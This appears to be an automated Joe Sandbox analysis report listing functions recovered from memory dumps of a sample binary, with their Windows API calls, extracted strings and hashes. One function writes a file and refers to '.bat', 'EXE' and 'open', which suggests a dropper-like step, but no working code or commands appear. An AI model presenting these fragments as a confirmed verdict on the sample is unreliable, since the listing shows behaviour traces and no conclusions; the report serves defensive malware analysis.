Instruction ID: 51cdcd592046e888349aef9052673fd02bdde49ee4f6e18b32eaad69cec24889
Opcode Fuzzy Hash: 73e8e55625ca3f324978a46919301c699e284b0a6c15c0f938b500078acbbfe0
Instruction Fuzzy Hash: 1AE19A71A00219EFDB15CFA4C848FADBBB5BF69710F14812CE805AB2A1DB34ED44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6A570C46 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6A570D65
___TypeMatch.LIBVCRUNTIME ref: 6A570E73
CatchIt.LIBVCRUNTIME ref: 6A570EC4
_UnwindNestedFrames.LIBCMT ref: 6A570FC5
CallUnexpected.LIBVCRUNTIME ref: 6A570FE0

Strings

csm, xrefs: 6A570CF0
csm, xrefs: 6A570D9C
csm, xrefs: 6A570C83

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 9cbac41cf617377df8f275ba5bae88c93728f98aff578a12d92e779f25e29843
Instruction ID: cfc24a477a49b74f27e4b837f5758dad00b9e8a8cab3eaa15c654afd17182885
Opcode Fuzzy Hash: 9cbac41cf617377df8f275ba5bae88c93728f98aff578a12d92e779f25e29843
Instruction Fuzzy Hash: 7FB17A71C00209EFCF26DFA4D88499EBBB6FF45314F16415AE8147B212DB32EA91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002B9890 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 294fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,DF534560), ref: 002B9919
ReadFile.KERNEL32(00000000,00000000,00001000,?,00000000,00001000), ref: 002B9989
CloseHandle.KERNEL32(?), ref: 002B9B8E
ReadFile.KERNEL32(?,00000000,00001000,00000000,00000000,?,00000000,00000000), ref: 002B9C15

Strings

t=, xrefs: 002B9B7F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$Read$CloseCreateHandle
String ID: t=
API String ID: 1724936099-4144653439
Opcode ID: b11608e1c0aee09cca7eb4b53aa52c70cdc5eb56c794c2ef7bb5ef7e98faa93e
Instruction ID: a14ee2e71eb6342d80362a171918fc51e572a6127d3e850f7d2ce078010e4eaa
Opcode Fuzzy Hash: b11608e1c0aee09cca7eb4b53aa52c70cdc5eb56c794c2ef7bb5ef7e98faa93e
Instruction Fuzzy Hash: 00C1AE71D10308DBDB20CFA4C845BEEBBB8AF59744F24825DE515BB281D7B0AE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0029E900 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 232fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 0029E999
CloseHandle.KERNEL32(00000000), ref: 0029E9C0

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

Part of subcall function 001E86B0: FindResourceW.KERNEL32(00000000,00000100,00000006,00000000,000000FF,?,00000000,002A0619,000000FF), ref: 001E86ED
Part of subcall function 001E86B0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,000000FF), ref: 001E871E
Part of subcall function 001E86B0: WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,?,000000FF,00000000,00000000,00000000), ref: 001E8755

WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?), ref: 0029EA35
CloseHandle.KERNEL32(00000000), ref: 0029EA87

Part of subcall function 001E8790: WideCharToMultiByte.KERNEL32(00000003,00000000,002CBBCA,000000FF,00000000,00000000,00000000,00000000,?,?,?,002CBBCA,?,?), ref: 001E87AC
Part of subcall function 001E8790: WideCharToMultiByte.KERNEL32(00000003,00000000,002CBBCA,000000FF,?,-00000001,00000000,00000000,?,?,?,002CBBCA,?,?), ref: 001E87E2

Strings

open, xrefs: 0029EAB3
.bat, xrefs: 0029E94E
t=, xrefs: 0029EA7B
EXE, xrefs: 0029E953

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$CloseFileHandleInit_thread_footer$CreateFindHeapProcessResourceWrite
String ID: .bat$EXE$open$t=
API String ID: 4275363648-1099801128
Opcode ID: d08c65242a00e240df5f9745634d9fde6f25f11f0de666cd64fc6e08dcc0df65
Instruction ID: 810b6ae584f7afebfdad6a3add7bde7f606a35f4d9c90efd98397fb0145d9bb2
Opcode Fuzzy Hash: d08c65242a00e240df5f9745634d9fde6f25f11f0de666cd64fc6e08dcc0df65
Instruction Fuzzy Hash: BCA16970901649EFEB11CFA8C948B9DFBF4FF49314F248299E415AB2A2DB749905CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A5682A0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 202libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6A56CF5B: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CF66
Part of subcall function 6A56CF5B: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56CFA3

LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,?,AA831995,?,00000000,?,?,?,AA831995), ref: 6A5683E2
GetProcAddress.KERNEL32(00000000), ref: 6A5683E9

Part of subcall function 6A56CF11: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF1B
Part of subcall function 6A56CF11: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF4E
Part of subcall function 6A56CF11: RtlWakeAllConditionVariable.NTDLL ref: 6A56CFC5

Strings

[0x%.8Ix] , xrefs: 6A56832D
SymFromAddr, xrefs: 6A5683D8
-----, xrefs: 6A568438, 6A56843D
Dbghelp.dll, xrefs: 6A5683DD
%hs(), xrefs: 6A56841D
-> , xrefs: 6A5684D6

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionLibraryLoadProcVariableWake
String ID: -> $%hs()$-----$Dbghelp.dll$SymFromAddr$[0x%.8Ix]
API String ID: 3620240239-2116945222
Opcode ID: 2a50b3a813da7fc421bfdf60155d7cbf2f6ddb5a9bf3f37e73f8f30c425a7c63
Instruction ID: 40a51e0c1f94b1854e68886f59744613f60e3afeb7cfec1919b3f8e7cce79a47
Opcode Fuzzy Hash: 2a50b3a813da7fc421bfdf60155d7cbf2f6ddb5a9bf3f37e73f8f30c425a7c63
Instruction Fuzzy Hash: 75814EB0900249DFDB25CF68C854BDE7BF4FF59308F01492EE915A7291EB74AA14CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CB510 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 150fileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001CB5FF

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,?), ref: 001CB653
CloseHandle.KERNEL32(00000000), ref: 001CB6B0

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

WriteFile.KERNEL32(00000000,00000000,?,?,00000000,00000000,?), ref: 001CB714
CloseHandle.KERNEL32(00000000,?), ref: 001CB73A

Strings

aix, xrefs: 001CB611
t=, xrefs: 001CB72E
html, xrefs: 001CB60C

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$CloseEnterFileHandleLeave$ConditionCreateInit_thread_footerVariableWakeWrite
String ID: aix$html$t=
API String ID: 2030708724-2560515477
Opcode ID: 6ef35ae973ae7eb5685b85e4bda0ea06a7632afca36bd16abad0e5176452ca53
Instruction ID: dc0c5d6e5ec7426311c6a09250fd01acae9ddf0f2d7cbb3a2e329b24a2729d79
Opcode Fuzzy Hash: 6ef35ae973ae7eb5685b85e4bda0ea06a7632afca36bd16abad0e5176452ca53
Instruction Fuzzy Hash: 30618B71900348DBDB21CF94DD99BAEBBF4EB15709F10412DE401AB3D2DBB9A908CB95

Uniqueness

Uniqueness Score: -1.00%

Function 002DB7C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDefaultLangID.KERNEL32 ref: 002DB7FC
GetUserDefaultLangID.KERNEL32 ref: 002DB809
LoadLibraryW.KERNEL32(kernel32.dll), ref: 002DB81B
GetProcAddress.KERNEL32(00000000,GetSystemDefaultUILanguage), ref: 002DB82F
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 002DB844

Strings

kernel32.dll, xrefs: 002DB812
GetSystemDefaultUILanguage, xrefs: 002DB829
GetUserDefaultUILanguage, xrefs: 002DB83E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressDefaultLangProc$LibraryLoadSystemUser
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll
API String ID: 667524283-3528650308
Opcode ID: ad894f043658c9da9d040c04e807821c8937e8b2a7a016f0074f8c1e452d61c3
Instruction ID: 7f11a374ab97f38a59e4ee4130bcc0063ab3bd9289227fbd90e67628e2547c9b
Opcode Fuzzy Hash: ad894f043658c9da9d040c04e807821c8937e8b2a7a016f0074f8c1e452d61c3
Instruction Fuzzy Hash: DC41B174A14342DFDB45EF29D8606BAB3E5AFA8305F52181EF989C7280E730DD54CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0034D0C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0034D0F7
___except_validate_context_record.LIBVCRUNTIME ref: 0034D0FF
_ValidateLocalCookies.LIBCMT ref: 0034D188
__IsNonwritableInCurrentImage.LIBCMT ref: 0034D1B3
_ValidateLocalCookies.LIBCMT ref: 0034D208
___vcrt_initialize_locks.LIBVCRUNTIME ref: 0034D21E
___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 0034D233

Strings

csm, xrefs: 0034D19D

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record___vcrt_initialize_locks___vcrt_uninitialize_locks
String ID: csm
API String ID: 1385549066-1018135373
Opcode ID: d41f7d3b82ffc835c42a08696e990f39cf0c4070fe53d16cb695218a4771ac00
Instruction ID: ffc965cdeb12886fc6bc1360fa47c06800042ab1265ee8e1b812550c66bf0c0d
Opcode Fuzzy Hash: d41f7d3b82ffc835c42a08696e990f39cf0c4070fe53d16cb695218a4771ac00
Instruction Fuzzy Hash: 3A41BF34A00218ABCF12DF68C885A9EBBE5BF49314F158495EC15AF392D775FA05CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A569D50 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?,00000000,?,75A88510,00000000), ref: 6A569D66
SendMessageW.USER32(?,0000000B,00000000,00000000,?,00000000,?,75A88510,00000000), ref: 6A569D82
GetWindowLongW.USER32(?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569D88
GetDlgItem.USER32(?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569DFA
GetWindowRect.USER32(00000000,?,?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569E12
MapWindowPoints.USER32(00000000,?,00000002,00000002,?,?,?,000000F0,?,00000000,?,75A88510,00000000), ref: 6A569E23
SetWindowPos.USER32(00000014,00000000,?,00000002,00000002,?,00000014,?,00000002,00000002,?,?,?,000000F0,?,00000000), ref: 6A569E9F
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6A569ED3
RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 6A569EE0

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Window$MessageSend$ItemLongPointsRectRedrawVisible
String ID:
API String ID: 3196996609-0
Opcode ID: 25f46c8e4d326b177e1a729dcd260cc8c4f8df17aaba4d5782398389f031ead9
Instruction ID: d9fd69b1d56c91ef8780491122cad04ce147d94b85252a00975e829eba22d5ac
Opcode Fuzzy Hash: 25f46c8e4d326b177e1a729dcd260cc8c4f8df17aaba4d5782398389f031ead9
Instruction Fuzzy Hash: A6512570204301DFEB20CF29C985B2ABBE1BF89744F114A1EF5969B2A5DB31EC54CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6A568E40 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 6A56CF11: EnterCriticalSection.KERNEL32(6A5D6A2C,?,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF1B
Part of subcall function 6A56CF11: LeaveCriticalSection.KERNEL32(6A5D6A2C,?,6A547F2E,6A5D7224,6A59F850), ref: 6A56CF4E
Part of subcall function 6A56CF11: RtlWakeAllConditionVariable.NTDLL ref: 6A56CFC5

GetStdHandle.KERNEL32(000000F5,?,?,00000000), ref: 6A5692D6
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,00000000), ref: 6A5692DD
GetStdHandle.KERNEL32(000000F5,0000000C,?,00000000), ref: 6A5692F1
SetConsoleTextAttribute.KERNEL32(00000000,?,00000000), ref: 6A5692F8
GetStdHandle.KERNEL32(000000F5,?,?,00000000,00000000,00000000,6A5B6F74,00000002,?,00000000), ref: 6A569387
SetConsoleTextAttribute.KERNEL32(00000000,?,00000000), ref: 6A56938E

Strings

*** Stack Trace (x86) ***, xrefs: 6A568E95

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ConsoleHandle$AttributeCriticalSectionText$BufferConditionEnterInfoLeaveScreenVariableWake
String ID: *** Stack Trace (x86) ***
API String ID: 1922930761-1035257212
Opcode ID: 86b0fb69d831f488b99f59c30872ee4276fbef919194880bd8d91658028f31ae
Instruction ID: 2af2b9065780d0ed1a4829dd9bd5a2e504aae851adaa5ca99e558405743711a7
Opcode Fuzzy Hash: 86b0fb69d831f488b99f59c30872ee4276fbef919194880bd8d91658028f31ae
Instruction Fuzzy Hash: 63025871A00248DFDF10DFA8C848BDEBBF4EF49328F21465AE525A7290DB756A44CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A55F7B0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 246COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 6A55F9E2
std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA1D
std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA40
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FA68
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FB07

Strings

false, xrefs: 6A55F8FF
true, xrefs: 6A55F915

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: false$true
API String ID: 3053331623-2658103896
Opcode ID: ebdda03f6b3df1bd503f05d73cd173f7a7d814a53ad997c9f2e28a0170ed768b
Instruction ID: 2a059335552481b228261ec31fa3da18801c3229227b20b92a97d4ac9a2cb6b6
Opcode Fuzzy Hash: ebdda03f6b3df1bd503f05d73cd173f7a7d814a53ad997c9f2e28a0170ed768b
Instruction Fuzzy Hash: 9DA1A1B1D00348DFDB11DF94C944B9EBBF8FF45314F15426AE815AB282EB74AA48CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001B2860 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0045B200,00000000,DF534560,00000000,003AAD83,000000FF,?,DF534560), ref: 001B29D3
GetLastError.KERNEL32(?,DF534560), ref: 001B29DD

Strings

VolumeCostSize, xrefs: 001B2897
VolumeCostAvailable, xrefs: 001B28A0
VolumeCostDifference, xrefs: 001B28B3
VolumeCostVolume, xrefs: 001B288D, 001B2945
VolumeCostRequired, xrefs: 001B28A9

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: VolumeCostAvailable$VolumeCostDifference$VolumeCostRequired$VolumeCostSize$VolumeCostVolume
API String ID: 439134102-34576578
Opcode ID: 083ecc84e5f890a1089fc7601dcb03fdc1216dca186304005b2b1e26fa6558d2
Instruction ID: 7729ffdf0f32ecd38f158c926cee67a879a668f4046b41151f2f48a93c893ce3
Opcode Fuzzy Hash: 083ecc84e5f890a1089fc7601dcb03fdc1216dca186304005b2b1e26fa6558d2
Instruction Fuzzy Hash: A551C1B19007589BCB01DF65DC057DEBBF4FB08715F10422AE829EB291EB74AA08CB95

Uniqueness

Uniqueness Score: -1.00%

Function 001E0490 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000020), ref: 001E057B
MulDiv.KERNEL32(?,00000048,00000000), ref: 001E05B8

Strings

h]4, xrefs: 001E059E
?, xrefs: 001E05BE
,b4, xrefs: 001E0626
t, xrefs: 001E05C6
a4, xrefs: 001E05A5

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: lstrcpyn
String ID: ,b4$?$h]4$t$a4
API String ID: 97706510-920588579
Opcode ID: d8f679854e08456c7f82584145ad0cdc42d5ad71328371f6e15646f124a2a00f
Instruction ID: 0b2af9c0073ef51980cf9f54720934c2f2845d5fd28ec2f4ad01fda2e719d6f2
Opcode Fuzzy Hash: d8f679854e08456c7f82584145ad0cdc42d5ad71328371f6e15646f124a2a00f
Instruction Fuzzy Hash: 65513C71508380AFE721DF60DC49B9BBBE8AB88701F00492DF299DA192D774E948CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00348D8F Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00348F39,00000000,?,?,001C5514,?), ref: 00348DB3
HeapAlloc.KERNEL32(00000000,?,?,001C5514,?), ref: 00348DBA

Part of subcall function 00348E85: IsProcessorFeaturePresent.KERNEL32(0000000C,00348DA1,00000000,?,00348F39,00000000,?,?,001C5514,?), ref: 00348E87

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,00348F39,00000000,?,?,001C5514,?), ref: 00348DCA
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,?,001C5514,?), ref: 00348DF1
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,?,001C5514,?), ref: 00348E05
InterlockedPopEntrySList.KERNEL32(00000000,?,?,001C5514,?), ref: 00348E18
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,001C5514,?), ref: 00348E2B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: 6a4ccc25b516ec987caca63d0195d34b98c690cb0eb690c3f45652309f91243b
Instruction ID: 853a3bec279c6c0d47e6099861aed036462447e80dc091b90fc5443b711623e8
Opcode Fuzzy Hash: 6a4ccc25b516ec987caca63d0195d34b98c690cb0eb690c3f45652309f91243b
